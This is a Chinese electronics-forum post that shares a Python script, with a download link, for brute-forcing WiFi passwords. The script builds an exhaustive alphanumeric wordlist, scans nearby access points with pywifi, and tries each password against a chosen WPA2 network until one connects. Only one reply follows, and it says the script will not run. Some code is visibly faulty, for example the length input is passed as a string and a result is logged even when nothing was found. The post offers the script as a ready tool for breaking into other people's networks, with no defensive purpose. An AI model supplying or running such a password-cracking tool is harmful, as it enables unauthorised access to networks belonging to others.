找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 2462|回复: 1
收起左侧

Python实现穷举WiFi密码

[复制链接]
ID:883814 发表于 2021-2-10 09:29 | 显示全部楼层 |阅读模式
通过Python脚本实现穷举获取WiFi密码 屏幕截图 2021-02-10 092722.jpg
  1. # -*- coding: utf-8 -*-


  2. import time
  3. import pywifi
  4. from pywifi import const
  5. import itertools as its


  6. maclist = []
  7. wificount=15


  8. def product_passwd(length):
  9.     words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
  10.     r = its.product(words,repeat=length)
  11.     dic = open('paswwer.txt','a')
  12.    
  13.     for i in r:
  14.         dic.write(''.join(i))
  15.         dic.write(''.join('\n'))
  16.         print(i)
  17.    
  18.     dic.close()
  19.     print('密码本生成完毕!')

  20. product_passwd(input("请输入要生成的密码本密码长度:"))   

  21. def getwifi():
  22.     wifi=pywifi.PyWiFi()
  23.     ifaces=wifi.interfaces()[0]
  24.     ifaces.scan()  
  25.     time.sleep(3)   
  26.     result = ifaces.scan_results()

  27.     n=0
  28.     print("%12s%20s%20s"%("【无线名称】","【mac地址】","【信号强度】"))
  29.     print("="*60)
  30.     for data in result:
  31.         if(data.bssid not in maclist):
  32.             maclist.append(data.bssid)
  33.             if n<=wificount:
  34.                 print("%14s%30s%15s"%(data.ssid,data.bssid,data.signal))
  35.                 n=n+1
  36.                 time.sleep(2)
  37.     print("="*60)



  38. class PoJie():
  39.     def __init__(self, path):
  40.         self.file = open(path, "r", errors="ignore")
  41.         wifi = pywifi.PyWiFi()  
  42.         self.iface = wifi.interfaces()[0]
  43.         print("获取到的无线网卡:")
  44.         print(self.iface.name())  
  45.         self.iface.disconnect()  
  46.         time.sleep(1)
  47.         assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]  


  48.     def readPassWord(self):
  49.         print("开始破解:")
  50.         while True:   
  51.             try:
  52.                 passStr = str(self.file.readline())
  53.                 print(" 正在尝试:" + passStr)
  54.                 if not passStr:
  55.                     break
  56.                 bool1 = self.test_connect(passStr)
  57.                 if bool1:
  58.                     print("恭喜你,找到密码! 正确密码为:" + passStr)
  59.                     break
  60.                 else:
  61.                     print(" 密码错误!\n","="*35)
  62.                     time.sleep(3)
  63.             except:
  64.                 continue
  65.         with open('result.txt','a+') as fw:
  66.             fw.write('WiFi名称:%s  密码:%s'%(wifiname,passStr))
  67.             

  68.     def test_connect(self, findStr):  
  69.         profile = pywifi.Profile()  
  70.         profile.ssid = wifiname
  71.         profile.auth = const.AUTH_ALG_OPEN  
  72.         profile.akm.append(const.AKM_TYPE_WPA2PSK)  
  73.         profile.cipher = const.CIPHER_TYPE_CCMP  
  74.         profile.key = findStr  
  75.         self.iface.remove_all_network_profiles()  
  76.         tmp_profile = self.iface.add_network_profile(profile)  
  77.         self.iface.connect(tmp_profile)
  78.         time.sleep(3)
  79.         if self.iface.status() == const.IFACE_CONNECTED:
  80.             isOK = True
  81.         else:
  82.             isOK = False
  83.         self.iface.disconnect()  
  84.         time.sleep(1)
  85.         return isOK

  86.    
  87.     def __del__(self):
  88.         self.file.close()


  89. getwifi()
  90. wifiname = input("请输入要破解的WiFi名称:")  # wifi名称)
  91. path = input('请输入字典文件路径:')
  92. #r"D://Data/Python/wifi/dictionary.txt"
  93. start = PoJie(path)
  94. start.readPassWord()
复制代码
代码已测试过,可正常运行

以上程序51hei下载地址:
wifi.zip (5.76 KB, 下载次数: 60)
回复

使用道具 举报

ID:933089 发表于 2021-6-9 17:36 | 显示全部楼层
没办法运行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|51黑电子论坛 |51黑电子论坛6群 QQ 管理员QQ:125739409;技术交流QQ群281945664

Powered by 单片机教程网

快速回复 返回顶部 返回列表